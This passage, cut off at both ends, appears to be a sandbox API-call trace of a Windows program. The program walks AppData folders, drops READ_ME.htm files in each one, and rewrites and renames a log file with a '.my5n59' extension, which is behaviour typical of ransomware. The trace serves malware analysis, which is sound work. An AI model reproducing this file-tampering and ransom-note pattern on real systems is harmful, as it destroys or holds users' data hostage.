lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x289b410*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.277] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0143.277] SetErrorMode (uMode=0x1) returned 0x0 [0143.278] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.278] GetFileType (hFile=0x1d0) returned 0x1 [0143.278] SetErrorMode (uMode=0x0) returned 0x1 [0143.278] GetFileType (hFile=0x1d0) returned 0x1 [0143.278] WriteFile (in: hFile=0x1d0, lpBuffer=0x289f9b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x289f9b0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.279] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0143.280] SetErrorMode (uMode=0x1) returned 0x0 [0143.280] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0143.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 0 [0143.281] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.281] SetErrorMode (uMode=0x0) returned 0x1 [0143.281] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x23 [0143.281] SetErrorMode (uMode=0x1) returned 0x0 [0143.281] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*" (normalized: "c:\\users\\default\\appdata\\local\\temp\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1 [0143.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 0 [0143.282] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.282] SetErrorMode (uMode=0x0) returned 0x1 [0143.282] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0143.282] SetErrorMode (uMode=0x1) returned 0x0 [0143.282] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0143.284] GetFileType (hFile=0x1d0) returned 0x1 [0143.284] SetErrorMode (uMode=0x0) returned 0x1 [0143.284] GetFileType (hFile=0x1d0) returned 0x1 [0143.284] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x0 [0143.337] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0143.338] SetErrorMode (uMode=0x1) returned 0x0 [0143.338] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0143.338] GetFileType (hFile=0x1d0) returned 0x1 [0143.338] SetErrorMode (uMode=0x0) returned 0x1 [0143.338] GetFileType (hFile=0x1d0) returned 0x1 [0143.338] WriteFile (in: hFile=0x1d0, lpBuffer=0x2982868*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x21d2f8, lpOverlapped=0x0 | out: lpBuffer=0x2982868*, lpNumberOfBytesWritten=0x21d2f8*=0x10, lpOverlapped=0x0) returned 1 [0143.340] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt", lpFilePart=0x0) returned 0x3a [0143.340] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.my5n59", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.my5n59", lpFilePart=0x0) returned 0x41 [0143.340] SetErrorMode (uMode=0x1) returned 0x0 [0143.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x51ed6aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0143.341] SetErrorMode (uMode=0x0) returned 0x1 [0143.341] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.my5n59" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.my5n59")) returned 1 [0143.342] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temp\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0143.343] SetErrorMode (uMode=0x1) returned 0x0 [0143.343] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\temp\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.343] GetFileType (hFile=0x1d0) returned 0x1 [0143.343] SetErrorMode (uMode=0x0) returned 0x1 [0143.343] GetFileType (hFile=0x1d0) returned 0x1 [0143.344] WriteFile (in: hFile=0x1d0, lpBuffer=0x29875e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29875e8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.345] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", lpFilePart=0x0) returned 0x37 [0143.345] SetErrorMode (uMode=0x1) returned 0x0 [0143.345] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.358] SetErrorMode (uMode=0x0) returned 0x1 [0143.360] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0143.360] SetErrorMode (uMode=0x1) returned 0x0 [0143.360] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.403] GetFileType (hFile=0x1d0) returned 0x1 [0143.404] SetErrorMode (uMode=0x0) returned 0x1 [0143.404] GetFileType (hFile=0x1d0) returned 0x1 [0143.404] WriteFile (in: hFile=0x1d0, lpBuffer=0x298d258*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x298d258*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.405] CloseHandle (hObject=0x1d0) returned 1 [0143.406] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\READ_ME.htm", lpFilePart=0x0) returned 0x2a [0143.406] SetErrorMode (uMode=0x1) returned 0x0 [0143.406] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.407] GetFileType (hFile=0x1d0) returned 0x1 [0143.407] SetErrorMode (uMode=0x0) returned 0x1 [0143.407] GetFileType (hFile=0x1d0) returned 0x1 [0143.407] WriteFile (in: hFile=0x1d0, lpBuffer=0x29917c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29917c8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.408] CloseHandle (hObject=0x1d0) returned 1 [0143.409] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow", lpFilePart=0x0) returned 0x21 [0143.410] SetErrorMode (uMode=0x1) returned 0x0 [0143.410] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0143.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0143.411] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.411] SetErrorMode (uMode=0x0) returned 0x1 [0143.411] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow", lpFilePart=0x0) returned 0x21 [0143.411] SetErrorMode (uMode=0x1) returned 0x0 [0143.411] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0143.412] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0143.412] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.412] SetErrorMode (uMode=0x0) returned 0x1 [0143.413] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2b [0143.413] SetErrorMode (uMode=0x1) returned 0x0 [0143.413] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.413] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0143.414] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 0 [0143.414] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.414] SetErrorMode (uMode=0x0) returned 0x1 [0143.415] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2b [0143.415] SetErrorMode (uMode=0x1) returned 0x0 [0143.415] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.415] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0143.416] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 0 [0143.416] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.416] SetErrorMode (uMode=0x0) returned 0x1 [0143.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3c [0143.416] SetErrorMode (uMode=0x1) returned 0x0 [0143.416] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" 